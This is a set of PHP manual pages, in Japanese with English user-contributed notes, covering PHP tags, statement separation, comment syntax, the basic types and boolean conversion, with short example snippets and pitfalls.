anisgazig.com 12-Sep-2020 11:26
<p>This is ignore by the php parser and displayed by the browser </p>

 <?php echo "While this is going to be parsed"; ?>

 <?php

when php interpreter hits the closing tag it start to outputing everything whatever it finds until it hit another opening tag.If php interpreter find a conditional statement in the middle of a block then php interpreter decided which block skip

 Advanced escaping using conditions

  <?php $a = 10; if($a<100): ?>
  This conditional block is executed
  <?php else: ?>
      otherwise this will be executed
      <?php endif; ?>

In php 5 version,there are 5 opening and closing tags.
1.<?php echo "standard long form php tag and if you use xml with php this tag will be use";?>

2.<?= "short echo tag and alwayes available from 5.4.0";?>

3.<? echo "short open tag which is available if short_open_tag is enable in php ini configuration file directive or php was configured with --enable-short-tags.This tag has discoursed from php 7.If you want to use xml with php,then short_open_tag in php ini will be disabled";?>

4.<script language="php">
echo "Some editor do not like processing the code within this tag and this tag is removed from php 7.0.0 version";

</script>

5.<% echo "asp style tag and asp_tags should be enabled but now php 7.0.0 version,this tag is removed";%>
davidhcefx 05-Sep-2020 07:15
When the PHP interpreter hits the ?> closing tags, it WON'T output right away if it's inside of a conditional statement:
(no matter if it's an Alternative Syntax or not)

<html>
<?php
$a = 1;
$b = 2;
if ($a === 1) {
    if ($b == 2) {
        ?><head></head><?php
    } else {
        ?><body></body><?php
    }
}
?>
</html>

This would output `<html><head></head></html>`.
Aside from conditional statements, the PHP interpreter also skip over functions! What a surprise!

<html>
<?php
function show($a) {
    ?>
    <a href="https://www.<?php echo $a ?>.com">
    Link
    </a>
    <?php
}
?>
<body>
    <?php show("google") ?>
</body>
</html>

This gives `<html><body><a href="https://www.google.com">Link</a></body></html>`.
These really confused me, because at first I thought it would output any HTML code right away, except for Alternative Syntaxes (https://www.php.net/manual/en/control-structures.alternative-syntax.php). There are more strange cases than I thought.
anisgazig at gmail dot com 22-Sep-2019 06:57
Version of  7.0.0,3 tags are available in php.
1.long form tag (<?php ?>)
2.short echo tag(<?= ?>)
3.short_open_tag(? ?)
You can use short_open_tag when you start xml with php.
Emil Cataranciuc 19-Apr-2018 08:30
"<script language="php"> </script>, are always available." since PHP 7.0.0 is no longer true. These are removed along the ASP "<%, %>, <%=" tags.
sgurukrupa at gmail dot com 10-Mar-2014 07:01
Although not specifically pointed out in the main text, escaping from HTML also applies to other control statements:

<?php for ($i = 0; $i < 5; ++$i): ?>
Hello, there!
<?php endfor; ?>

When the above code snippet is executed we get the following output:

Hello, there!
Hello, there!
Hello, there!
Hello, there!
mike at clove dot com 30-Nov-2010 10:30
It's possible to write code to create php escapes which can be processed later by substituting \x3f for '?' - as in echo "<\x3fphp echo 'foo'; \x3f>";

This is useful for creating a template parser which later is rendered by PHP.
quickfur at quickfur dot ath dot cx 26-Jul-2010 02:40
When the documentation says that the PHP parser ignores everything outside the <?php ... ?> tags, it means literally EVERYTHING. Including things you normally wouldn't consider "valid", such as the following:

<html><body>
<p<?php if ($highlight): ?> class="highlight"<?php endif;?>>This is a paragraph.</p>
</body></html>

Notice how the PHP code is embedded in the middle of an HTML opening tag. The PHP parser doesn't care that it's in the middle of an opening tag, and doesn't require that it be closed. It also doesn't care that after the closing ?> tag is the end of the HTML opening tag. So, if $highlight is true, then the output will be:

<html><body>
<p class="highlight">This is a paragraph.</p>
</body></html>

Otherwise, it will be:

<html><body>
<p>This is a paragraph.</p>
</body></html>

Using this method, you can have HTML tags with optional attributes, depending on some PHP condition. Extremely flexible and useful!
snor_007 at hotmail dot com 01-Apr-2010 04:28
Playing around with different open and close tags I discovered you can actually mix different style open/close tags

some examples

<%
//your php code here
?>

or

<script language="php">
//php code here
%>
ravenswd at gmail dot com 01-Aug-2009 05:08
One aspect of PHP that you need to be careful of, is that ?> will drop you out of PHP code and into HTML even if it appears inside a // comment. (This does not apply to /* */ comments.) This can lead to unexpected results. For example, take this line:

<?php
  $file_contents  = '<?php die(); ?>' . "\n";
?>

If you try to remove it by turning it into a comment, you get this:

<?php
//  $file_contents  = '<?php die(); ?>' . "\n";
?>

Which results in ' . "\n"; (and whatever is in the lines following it) to be output to your HTML page.

The cure is to either comment it out using /* */ tags, or re-write the line as:

<?php
  $file_contents  = '<' . '?php die(); ?' . '>' . "\n";
?>
admin at furutsuzeru dot net 02-Jan-2009 08:50
These methods are just messy. Short-opening tags and ASP-styled tags are not always enabled on servers. The <script language="php"></script> alternative is just out there. You should just use the traditional tag opening:

<?php?>

Coding islands, for example:

<?php
$me =  'Pyornide';
?>
<?=$me;?> is happy.
<?php
$me = strtoupper($me);
?>
<?=$me;?> is happier.

Lead to something along the lines of messy code. Writing your application like this can just prove to be more of an
inconvenience when it comes to maintenance.

If you have to deal chunks of HTML, then consider having a templating system do the job for you. It is a poor idea to rely on the coding islands method as a template system in any way, and for reasons listed above.


命令の分離

C や Perl と同様に、PHP でもステートメントを区切りにはセミコロンが必要と なります。PHP コードブロックの終了タグには自動的にセミコロンが含まれていると 認識されます。 従って PHP コードの最終行にはセミコロンを記述する必要はありません。 ブロックの終了タグは、直後に改行がある場合、それを含んだものになります。

例1 改行を囲んだ終了タグを表示させる例

<?php echo "Some text"; ?>
No newline
<?= "But newline now" ?>

上の例の出力は以下となります。

Some textNo newline
But newline now

PHP パーサの開始と終了の例:

<?php
    echo 'テストです';
?>

<?php echo 'テストです' ?>

<?php echo '終了タグを省略しました';

注意:

ファイル終端における PHP ブロックの終了タグはオプション（任意）です。 include や require を利用する際には、 終了タグを省略する方が無難です。というのは、そうすることでファイルの最後に 予期せぬ空白文字があらわれてしまうことを防げますし、後でレスポンスに ヘッダを付加することも可能となるからです。また、出力バッファリングを 使用しており、include したファイルの生成する部分の最後に余計な空白を つけたくない場合などにも便利です。

User Contributed Notes

anisgazig at gmail dot com 12-Sep-2020 04:57
At the end of each statement,we will use a semicolon to seperate each statement.Php closing tag autometically implies a semiclon.So last line of a statment do not require a statement.

<?php echo "first statement";
      echo "second statement"
?>

Closing tag is optional and some cases omitting the closing tag is very helpful.
1.using include or require function
2.unwanted whitespace will not occur at the end of file
3.add header any time

<?php echo "omitting closing tag";
Krishna Srikanth 17-Aug-2006 04:44
Do not mis interpret

<?php echo 'Ending tag excluded';

with

<?php echo 'Ending tag excluded';
<p>But html is still visible</p>

The second one would give error. Exclude ?> if you no more html to write after the code.


コメント

PHP は、'C', 'C++' および Unix シェル型（Perl 型）のコメントをサポートします。 例えば、

<?php
echo 'テストです'; // C++型の単一行用のコメント
/* 複数行用のコメント
   もう一行分のコメント */
echo 'もうひとつのテストです';
echo '最後のテストです'; # シェル型の単一行用のコメント
?>

"一行"コメントは、改行または PHP コードのブロックの終わり のうちどちらか最初にくる方までです。 つまり、// ... ?> あるいは # ... ?> の後に続く HTML コードは 表示されるということです。?> により PHP モードを終了して HTML モードに戻ると、そこでは // あるいは # は何の影響も 及ぼしません。

<h1>これは <?php # echo 'シンプルな';?> 例</h1>
<p>上の見出しは 'これは  例です。' となります。

'C' 型のコメントは、最初に */ が現れた時点で終了します。 'C' 型のコメントがネストしないように注意する必要があります。 大きなブロックをコメントアウトしようとする際に、この間違いを犯しがちです。

<?php
 /*
    echo 'テストです'; /* このコメントが問題を生じます */
 */
?>

User Contributed Notes

anisgazig at gmail dot com 15-Sep-2020 07:17
In php there are 3 types of comments
1.single line c++ style comment(//)
2.single line Unix shell stype comment(#)
3.multi line c style comment(/*/)

single or multi line comment comes to the end of the line or come first to the current block of php code.

HTML code will be printed after //...?> or #...?>
closing tag breaks the php mode and return to html mode.

different comments in different tags:
===================================
<H1>Standard tag: <?php //echo " standard tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:single line c++ style comment'</p>

<H1>Standard tag: <?php # echo " standard tag"; ?>single line unix shell style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:single line unix shell style comment'</p>

<H1>Standard tag: <?php /*echo " standard tag"; */?>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:multi line c style comment'</p>

  <H1>short echo tag: <?= // " short echo tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

  <H1>short echo tag: <?= #  " short echo tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

  <H1>short echo tag: <?= /*echo " short echo tag"*/ ; ?>multiple  line c style comment</H1>
<p>The header above will break php mode show a unexpected syntex error'</p>

<H1>Short tag: <? //echo " short tag";?>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:single line c++ style comment'</p>

  <H1>Short tag: <? #echo " short tag";?>single line unix shell style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:single line unix shell style comment'</p>

   <H1>Short tag: <? /* echo " short tag";*/?>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Short tag:multi line c style comment'</p>

    <H1>Script tag: <script language="php"> // echo " script tag";</script>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Script tag:single line c++ style comment'</p>

    <H1>Script tag: <script language="php"> /* echo " script tag";*/</script>multi line c style comment</H1>
<p>The header above will break php mode and return html mode and show  'Script tag:multi line c style comment'</p>

    <H1>Script tag: <script language="php"> # echo " script tag";</script>single line unix shell style comment</H1>
<p>The header above will not break php mode </p>
J. Prettyman 13-Feb-2014 05:55
Notes can come in all sorts of shapes and sizes. They vary, and their uses are completely up to the person writing the code. However, I try to keep things consistent in my code that way it's easy for the next person to read. So something like this might help...

<?php

//======================================================================
// CATEGORY LARGE FONT
//======================================================================

//-----------------------------------------------------
// Sub-Category Smaller Font
//-----------------------------------------------------

/* Title Here Notice the First Letters are Capitalized */

# Option 1
# Option 2
# Option 3

/*
 * This is a detailed explanation
 * of something that should require
 * several paragraphs of information.
 */

// This is a single line quote.
?>
magnesium dot oxide dot play+php at gmail dot com 10-Oct-2013 10:02
It is worth mentioning that, HTML comments have no meaning in PHP parser. So,

<!-- comment
<?php echo some_function(); ?>
-->

WILL execute some_function() and echo result inside HTML comment.
jballard at natoga dot com 15-Dec-2010 02:28
Comments do NOT take up processing power.

So, for all the people who argue that comments are undesired because they take up processing power now have no reason to comment ;)

<?php

// Control
echo microtime(), "<br />"; // 0.25163600 1292450508
echo microtime(), "<br />"; // 0.25186000 1292450508

// Test
echo microtime(), "<br />"; // 0.25189700 1292450508
# TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST
# .. Above comment repeated 18809 times ..
echo microtime(), "<br />"; // 0.25192100 1292450508

?>

They take up about the same amount of time (about meaning on a repeated testing, sometimes the difference between the control and the test was negative and sometimes positive).
Wolfsbay at ya dot ru 12-May-2010 02:10
If you are using editor with code highlight, it's much easier to notice error like /* */ */.
theblazingangel at aol dot com 28-Aug-2007 03:55
it's perhaps not obvious to some, but the following code will cause a parse error! the ?> in //?> is not treated as commented text, this is a result of having to handle code on one line such as <?php echo 'something'; //comment ?>

<?php
if(1==1)
{
    //?>
}
?>

i discovered this "anomally" when i commented out a line of code containing a regex which itself contained ?>, with the // style comment.
e.g. //preg_match('/^(?>c|b)at$/', 'cat', $matches);
will cause an error while commented! using /**/ style comments provides a solution. i don't know about # style comments, i don't ever personally use them.
fun at nybbles dot com 13-Jul-2006 10:28
a trick I have used in all languages to temporarily block out large sections (usually for test/debug/new-feature purposes), is to set (or define) a var at the top, and use that to conditionally comment the blocks; an added benefit over if(0) (samuli's comment from nov'05) is that u can have several versions or tests running at once, and u dont require cleanup later if u want to keep the blocks in:  just reset the var.

personally, I use this more to conditionally include code for new feature testing, than to block it out,,,, but hey, to each their own :)

this is also the only safe way I know of to easily nest comments in any language, and great for multi-file use, if the conditional variables are placed in an include :)

for example, placed at top of file:

<?php $ver3 = TRUE;
       $debug2 = FALSE;
?>

and then deeper inside the file:

<?php if ($ver3) {
           print("This code is included since we are testing version 3");
         }
?>

<?php if ($debug2) {
           print("This code is 'commented' out");
         }
?>
J Lee 25-May-2006 11:39
MSpreij (8-May-2005) says  /* .. */ overrides //
Anonymous (26-Jan-2006) says // overrides /* .. */

Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached.

Thus, if a comment is opened with:
   //  then /* and */ are "overridden" until after end-of-line
   /*  then // is "overridden" until after */
hcderaad at wanadoo dot nl 29-Jun-2005 01:51
Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/).

Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example:
<?php
/**
* The second * here opens the DocBook commentblock, which could later on<br>
* in your development cycle save you a lot of time by preventing you having to rewrite<br>
* major documentation parts to generate some usable form of documentation.
*/
?>
Some basic html-like formatting is supported with this (ie <br> tags) to create something of a layout.
M Spreij 08-May-2005 12:15
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
<?php
//*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>

Now by taking out one / on the first line..

<?php
/*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>
..the block is suddenly commented out.
This works because a /* .. */ overrides //. You can even "flip" two blocks, like this:
<?php
//*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
vs
<?php
/*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
Steve 15-Dec-2004 04:41
Be careful when commenting out regular expressions.

E.g. the following causes a parser error.

I do prefer using # as regexp delimiter anyway so it won't hurt me ;-)

<?php

/*

 $f->setPattern('/^\d.*/');

*/

?>


型

目次

  • はじめに
  • 論理型 (boolean)
  • 整数
  • 浮動小数点数
  • 文字列
  • 数値形式の文字列
  • 配列
  • Iterable
  • オブジェクト
  • リソース
  • NULL
  • コールバック / Callable
  • 型宣言
  • 型の相互変換

User Contributed Notes

There are no user contributed notes for this page.


はじめに

PHP は 10 種類の基本型をサポートします。

4 種類のスカラー型:

  • 論理値 (bool)
  • 整数 (int)
  • 浮動小数点数 (float, double も同じ)
  • 文字列 (string)

4 種類の複合型:

  • 配列 (array)
  • オブジェクト (object)
  • callable
  • iterable

そして、最後に 2 種類の特別な型:

  • リソース (resource)
  • ヌル (NULL)

マニュアル内のいくつかの場所で "double" 型という記述が残っているかもしれません。 double は float と同じものだと考えてください。2 種類の名前が存在するのは、 歴史的な理由によるものです。

変数の型は、基本的にプログラマが設定するものではありません。 その変数が使用される文脈に応じ、PHP が実行時に決定します。

注意: 式の型と値を正確に知りたい場合は、 var_dump() 関数を使用してください。

デバッグのために、単純に人間が読みやすい形で型を表示したい場合には gettype() を使用してください。型をチェックする場合には gettype() を使用してはいけません 。is_type 関数を使用してください。いくつかの例を以下に示します。

<?php
$a_bool = TRUE;   // a boolean
$a_str  = "foo";  // a string
$a_str2 = 'foo';  // a string
$an_int = 12;     // an integer

echo gettype($a_bool); // prints out:  boolean
echo gettype($a_str);  // prints out:  string

// 数値であれば、4を足す
if (is_int($an_int)) {
    $an_int += 4;
}

// $a_bool が文字列であれば, それをprintする
// (そうでなければ何も出力されない)
if (is_string($a_bool)) {
    echo "String: $a_bool";
}
?>

ある変数の型を強制的に他の型に変換したい場合、変数を キャスト するか、 settype() 関数を使用します。

変数は、その型に依存して異なった動作をする場合があることに注意してください。 詳細な情報については、 型の変換 のセクションを参照ください。 またPHP 型の比較表 もご覧ください。さまざまな型の変数の比較に関する例があります。

User Contributed Notes

kuzawinski dot marcin_NOSPAM at gmail dot com 01-Aug-2020 12:33
No, despite description here a `callable` still is not a a full-fledged primitive type in PHP.

<?php

function testFunc() { }

class testClass {

    public function __invole() { }

    public static function testStaticMethod() { }

    public function testMethod() { }
}

$o = new testClass();
$lambda = function() { };

$c1 = 'testFunc';
$c2 = ['testClass', 'testStaticMethod'];
$c3 = [$o, 'testMethod'];
$c4 = $lambda;
$c5 = $o;

var_dump(is_callable($c1));  // TRUE
var_dump(is_callable($c2));  // TRUE
var_dump(is_callable($c3));  // TRUE
var_dump(is_callable($c4));  // TRUE
var_dump(is_callable($c5));  // TRUE

var_dump(gettype($c1)); // string(6) "string"
var_dump(gettype($c2)); // string(5) "array"
var_dump(gettype($c3)); // string(5) "array"
var_dump(gettype($c4)); // string(6) "object"
var_dump(gettype($c5)); // string(6) "object"

?>


論理型 (boolean)

論理型は、最も簡単な型です。bool は、真偽の値を表します。 この値は、true または false のどちらかになります。

構文

boolean リテラルを指定するには、定数 true または false を指定してください。 両方とも大文字小文字に依存しません。

<?php
$foo = True; // 値TRUEを$fooに代入する
?>

通常、bool 型の値を返す演算子を使用してから、 制御構造にその結果を渡します。

<?php
// == は、boolean型を返す演算子
if ($action == "show_version") {
    echo "バージョンは1.23です。";
}

// これは冗長
if ($show_separators == TRUE) {
    echo "<hr>\n";
}

// 上の例は次のように簡単に書くことができます。
if ($show_separators) {
    echo "<hr>\n";
}
?>

boolean への変換

bool に明示的に変換を行うには、キャスト (bool) または (boolean) を使用します。しかし、演算子、関数、制御構造が bool 型の引数を必要とする場合には、値は自動的に変換されるため、 多くの場合はキャストは不要です。

型の相互変換 も参照ください。

bool に変換する場合、次の値は false とみなされます。

  • boolean の false
  • integer の 0 および -0 (ゼロ)
  • float の 0.0 および -0.0 (ゼロ)
  • 空の文字列、 および文字列の "0"
  • 要素の数がゼロである 配列
  • 特別な値 NULL (値がセットされていない変数を含む)
  • 属性がない空要素から作成された SimpleXML オブジェクト。つまり、子要素も属性もない要素です。

その他の値は全て true とみなされます (全ての resource および NAN を含みます)。

警告

-1 は、他のゼロでない数と同様に (正負によらず) true とみなされます。

<?php
var_dump((bool) "");        // bool(false)
var_dump((bool) 1);         // bool(true)
var_dump((bool) -2);        // bool(true)
var_dump((bool) "foo");     // bool(true)
var_dump((bool) 2.3e5);     // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array());   // bool(false)
var_dump((bool) "false");   // bool(true)
?>

User Contributed Notes

Anonymous 13-Aug-2020 01:08
What will be the output you think if we add echo and print both at a time..

<?php

$a = 5;

print print $a;  // prints out: 51     inner 'print' prints the value of $a, then                                                                                                                                     // outer 'print' returns  the boolean true about print $a

echo print $a;  // prints out: 51     inner 'print' prints the value of $a, then
// outer 'echo' returns  the boolean true about print $a

echo echo $a;    // syntax error.. echo doesn't return

print echo $a;     // syntax error.. echo doesn't return

?>
sumon dot pdk dot bd at gmail dot com 21-Jan-2020 09:23
When compare zero (0) with string it's return true by type jugling. When compare with TRUE with also the same string it's also returning true.
But when comparing zero (0) with True then it's returning FALSE.

echo 0 == 'This is a string'; // 1
echo TRUE == 'This is a string'; //1
echo 0 == TRUE ; // FALSE
shady dot elmashad at feng dot bu dot edu dot eg 02-Sep-2017 03:10
First, this is very useful.
Second, I want to ask about the example, how the following:
var_dump((bool) "false");   // bool(true)

Thanks in advance
http://www.bu.edu.eg/staff/shadyelmashad3
Mark Simon 28-May-2017 02:35
Note on the OR operator.

A previous comment notes the trap you can fall into with this operator. This is about its usefulness.

Both OR and || are short-circuited operators, which means they will stop evaluating once they reach a TRUE value. By design, OR is evaluated after assignment (while || is evaluated before assignment).

This has the benefit of allowing some simple constructions such as:

<?php
    $stuff=getStuff() or die('oops');
    $thing=something() or $thing=whatever();
?>

The first example, often seen in PERL, could have been written as <?php if(!$stuff=getStuff()) die('oops'); ?> but reads a little more naturally. I have often used it in situations where null or false indicate failure.

The second allows for an alternative value if a falsy one is regarded as insufficient. The following example

<?php
    $page=@$_GET['page'] or $page=@$_COOKIE['page'] or $page=1;
?>

is a simple way sequencing alternative values. (Note the usual warnings about using the @ operator or accepting unfiltered input ...)

All this presupposes that 0 is also an unacceptable value in the situation.
Mark Simon 28-May-2017 02:19
Note for JavaScript developers:

In PHP, an empty array evaluates to false, while in JavaScript an empty array evaluates to true.

In PHP, you can test an empty array as <?php if(!$stuff) ...; ?> which won't work in JavaScript where you need to test the array length.

This is because in JavaScript, an array is an object, and, while it may not have any elements, it is still regarded as something.

Just a trap for young players who routinely work in both langauges.
goran77 at fastmail dot fm 29-Aug-2016 06:48
Just something that will probably save time for many new developers: beware of interpreting FALSE and TRUE as integers.
For example, a small function for deleting elements of an array may give unexpected results if you are not fully aware of what happens:

<?php

function remove_element($element, $array)
{
   //array_search returns index of element, and FALSE if nothing is found
   $index = array_search($element, $array);
   unset ($array[$index]);
   return $array;
}

// this will remove element 'A'
$array = ['A', 'B', 'C'];
$array = remove_element('A', $array);

//but any non-existent element will also remove 'A'!
$array = ['A', 'B', 'C'];
$array = remove_element('X', $array);
?>

The problem here is, although array_search returns boolean false when it doesn't find specific element, it is interpreted as zero when used as array index.

So you have to explicitly check for FALSE, otherwise you'll probably loose some elements:

<?php
//correct
function remove_element($element, $array)
{
   $index = array_search($element, $array);
   if ($index !== FALSE)
   {
       unset ($array[$index]);
   }
   return $array;
}
richie dot hayward at gmail dot com 11-Jun-2016 12:22
Actually from a complete noob point of view 0 resulting in false makes sense as many languages as I have been taught consider the value 1 as true and the value 0 as false a simple boolean value.

So lets says you think you set a variable to 0 and some how or another through your code this value has implicitly become and string instead of a int or boolean. Should PHP now consider it to evaluate to false. I wouldn't think so but hey I'm a PHP noob so perhaps I'm missing why you would ever want a "0" string to evaluate to true.
marklgr 21-Oct-2015 02:22
For those wondering why the string "0" is falsy, consider that a good deal of input data is actually string-typed, even when it is semantically numeral.

PHP often tries to autoconvert these strings to numeral, as the programmer certainly intended (try 'echo "2"+3'). Consequently, PHP designers decided to treat 0 and "0" similarly, ie. falsy, for consistency and to avoid bugs where the programmer believes he got a true numeral that would happen to be truthy when zero.
emanuelemicciulla[at]gmail[dot]com 13-Nov-2014 06:08
A lot of people apparently looking for this:
<?php
$strictBool = filter_var($stringBool, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
if($boolFanOvr === null) { /*manage error*/};
?>

it's TRUE for "true" "True" "TRUE" "Yes" "1" and so on.
FALSE for "false" "0" "no" and so on.
it's NULL if string doesn't represent a valid boolean.
den 17-Jan-2014 09:18
Casting bools to string is not working as maybe expected:

echo 'true as string gives [' . (string) true . "] not [true].\n";
echo 'false as string gives [' . (string) false . "] not [false].\n";

Output:

true as string gives [1] not [true].
false as string gives [] not [false].

This helps around that behavior:

true ? 'true' : 'false'
Fred Koschara 15-May-2013 05:38
Ah, yes, booleans - bit values that are either set (TRUE) or not set (FALSE).  Now that we have 64 bit compilers using an int variable for booleans, there is *one* value which is FALSE (zero) and 2**64-1 values that are TRUE (everything else).  It appears there's a lot more truth in this universe, but false can trump anything that's true...

PHP's handling of strings as booleans is *almost* correct - an empty string is FALSE, and a non-empty string is TRUE - with one exception:  A string containing a single zero is considered FALSE.  Why?  If *any* non-empty strings are going to be considered FALSE, why *only* a single zero?  Why not "FALSE" (preferably case insensitive), or "0.0" (with how many decimal places), or "NO" (again, case insensitive), or ... ?

The *correct* design would have been that *any* non-empty string is TRUE - period, end of story.  Instead, there's another GOTCHA for the less-than-completely-experienced programmer to watch out for, and fixing the language's design error at this late date would undoubtedly break so many things that the correction is completely out of the question.

Speaking of GOTCHAs, consider this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y OR $x;
?>

Is $z TRUE or FALSE?

In this case, $z will be FALSE because the above code is equivalent to <?php ($z=$y) OR $x ?> rather than <?php $z=($y OR $x) ?> as might be expected - because the OR operator has lower precedence than assignment operators.

On the other hand, after this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y || $x;
?>

$z will be TRUE, as expected, because the || operator has higher precedence than assignment:  The code is equivalent to $z=($y OR $x).

This is why you should NEVER use the OR operator without explicit parentheses around the expression where it is being used.
geza at turigeza dot com 26-Mar-2013 06:14
// someKey is a boolean true
$array = array('someKey'=>true);

// in the following 'false' string gets converted to a boolean true
if($array['someKey'] != 'false')
    echo 'The value of someKey is '.$array['someKey'];

As a result the above will output nothing :)

if($array['someKey'] == 'false')
    echo 'The value of someKey is '.$array['someKey'];

And the above will output
The value of someKey is 1

In short true == 'false' is true.
oscar at oveas dot com 01-Dec-2010 03:17
Dunno if someone else posted this solution already, but if not, here's a useful and function to convert strings to strict booleans.
Note this one only checks for string and defaults to the PHP (boolean) cast where e.g. -1 returns true, but you easily add some elseifs for other datatypes.

<?php
function toStrictBoolean ($_val, $_trueValues = array('yes', 'y', 'true'), $_forceLowercase = true)
{
    if (is_string($_val)) {
        return (in_array(
             ($_forceLowercase?strtolower($_val):$_val)
            , $_trueValues)
        );
    } else {
        return (boolean) $_val;
    }
}
?>
ledadu at gmail dot com 27-Oct-2010 08:56
Function to sort array by elements and count of element (before php 5.3) (not use Lambda Functions, and Closures)

<?php

//-----------------------------

function arraySortByElements($array2sort,$sortField,$order,$iscount=false) {

        $functionString='
        if ('.($iscount?'true':'false').'){
              if(count($a["'.$sortField.'"]) > count($b["'.$sortField.'"])) return 1*'.$order.';
            if(count($a["'.$sortField.'"]) < count($b["'.$sortField.'"])) return -1*'.$order.';
          }else{
            if($a["'.$sortField.'"] > $b["'.$sortField.'"]) return 1*'.$order.';
            if($a["'.$sortField.'"] < $b["'.$sortField.'"]) return -1*'.$order.';
          }
        return 0;';

     usort($array2sort, create_function('$a,$b',$functionString));
     return $array2sort;
}

//-----------------------------

//init Array for testing :
$testArray = array(
          array('name' => 'Lenny', 'note' => 5, 'listId' => array(654,987,32165)),
          array('name' => 'Olivier', 'note' =>3, 'listId' => array(2)),
          array('name' => 'Gregory', 'note' => 1, 'listId' => array(45,58)),
          array('name' => 'Clement', 'note' => 2, 'listId' => array(584,587,741,14781,147))
        );

//sorted Arrays :
        $testArrayByNameASC = arraySortByElements($testArray,'name',1);
        $testArrayByNoteDESC = arraySortByElements($testArray,'note',-1);
        $testArrayByCountlistIdDESC = arraySortByElements($testArray,'listId',-1,true);

?>
fyrye at torntech dot com 14-Jun-2010 04:39
Since I haven't seen it posted.
Here is a function that you can use if you have a need to force strict boolean values.
Hopefully this will save someone some time from searching for similar.
<?php
function strictBool($val=false){
    return is_integer($val)?false:$val == 1;
}
?>

Simply put, it verifies that the value passed is (bool)true otherwise it's false.

Examples:
__________________________________
<?php
$myBool = strictBool(true);
var_dump($myBool);
//returns (bool)true

$myar = array(0 => true);
$myBool = strictBool($myar[0]);
var_dump($myBool);
//returns (bool)true

$myBool = strictBool("hello");
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(false);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(array(0 => "hello"));
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(1);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool();
var_dump($myBool);
//returns (bool)false
?>
mercusmaximus at yahoo dot com 06-Feb-2010 01:50
Note that the comparison: (false == 0) evaluates to true and so will any value you set to false as well (without casting).
Symbol 11-Apr-2009 01:35
Just a side note, doesn't really matters, the reason -1 is true and not false is because boolean type is treated as unsigned, so -1 would be for example, if it's unsigned int32 translate to hex: 0xFFFFFFFF and back to decimal: 4294967295 which is non-zero. there isn't really a "negative boolean". it's a binary thing. :o (since it used to be a bit and then there was only 0 and 1 as an option)
admin at eexit dot fr 04-Nov-2008 12:27
Beware of certain control behavior with boolean and non boolean values :

<?php
// Consider that the 0 could by any parameters including itself
var_dump(0 == 1); // false
var_dump(0 == (bool)'all'); // false
var_dump(0 == 'all'); // TRUE, take care
var_dump(0 === 'all'); // false

// To avoid this behavior, you need to cast your parameter as string like that :
var_dump((string)0 == 'all'); // false
?>
wbcarts at juno dot com 06-Oct-2008 11:59
CODING PRACTICE...

Much of the confusion about booleans (but not limited to booleans) is the fact that PHP itself automatically makes a type cast or conversion for you, which may NOT be what you want or expect. In most cases, it's better to provide functions that give your program the exact behavior you want.
<?php

function boolNumber($bValue = false) {                      // returns integer
  return ($bValue ? 1 : 0);
}

function boolString($bValue = false) {                      // returns string
  return ($bValue ? 'true' : 'false');
}

$a = true;                                                  // boolean value
echo 'boolean $a AS string = ' . boolString($a) . '<br>';   // boolean as a string
echo 'boolean $a AS number = ' . boolNumber($a) . '<br>';   // boolean as a number
echo '<br>';

$b = (45 > 90);                                             // boolean value
echo 'boolean $b AS string = ' . boolString($b) . '<br>';   // boolean as a string
echo 'boolean $b AS number = ' . boolNumber($b) . '<br>';   // boolean as a number
echo '<br>';

$c = boolNumber(10 > 8) + boolNumber(!(5 > 10));            // adding booleans
echo 'integer $c = ' . $c .'<br>';

?>
Results in the following being printed...

 boolean $a AS string = true
 boolean $a AS number = 1

 boolean $b AS string = false
 boolean $b AS number = 0

 integer $c = 2

In other words, if we know what we want out of our program, we can create functions to accommodate. Here, we just wanted 'manual control' over numbers and strings, so that PHP doesn't confuse us.
Wackzingo 27-Jan-2008 06:39
It is correct that TRUE or FALSE should not be used as constants for the numbers 0 and 1. But there may be times when it might be helpful to see the value of the Boolean as a 1 or 0. Here's how to do it.

<?php
$var1 = TRUE;
$var2 = FALSE;

echo $var1; // Will display the number 1

echo $var2; //Will display nothing

/* To get it to display the number 0 for
a false value you have to typecast it: */

echo (int)$var2; //This will display the number 0 for false.
?>
Steve 15-Jan-2008 03:00
PHP does not break any rules with the values of true and false.  The value false is not a constant for the number 0, it is a boolean value that indicates false.  The value true is also not a constant for 1, it is a special boolean value that indicates true.  It just happens to cast to integer 1 when you print it or use it in an expression, but it's not the same as a constant for the integer value 1 and you shouldn't use it as one.  Notice what it says at the top of the page:

A boolean expresses a truth value.

It does not say "a boolean expresses a 0 or 1".

It's true that symbolic constants are specifically designed to always and only reference their constant value.  But booleans are not symbolic constants, they are values.  If you're trying to add 2 boolean values you might have other problems in your application.
Anonymous 06-Jan-2008 07:05
Note that the symbolic constants TRUE and FALSE are treated differently.  I was told that this is a feature, not a bug.

echo false ;
echo (false) ;
echo false+false ;
echo (false+false) ;
echo intval(false) ;
echo '"'.false.'"' ;

echo true ;
echo (true) ;
echo true+true ;
echo (true+true) ;
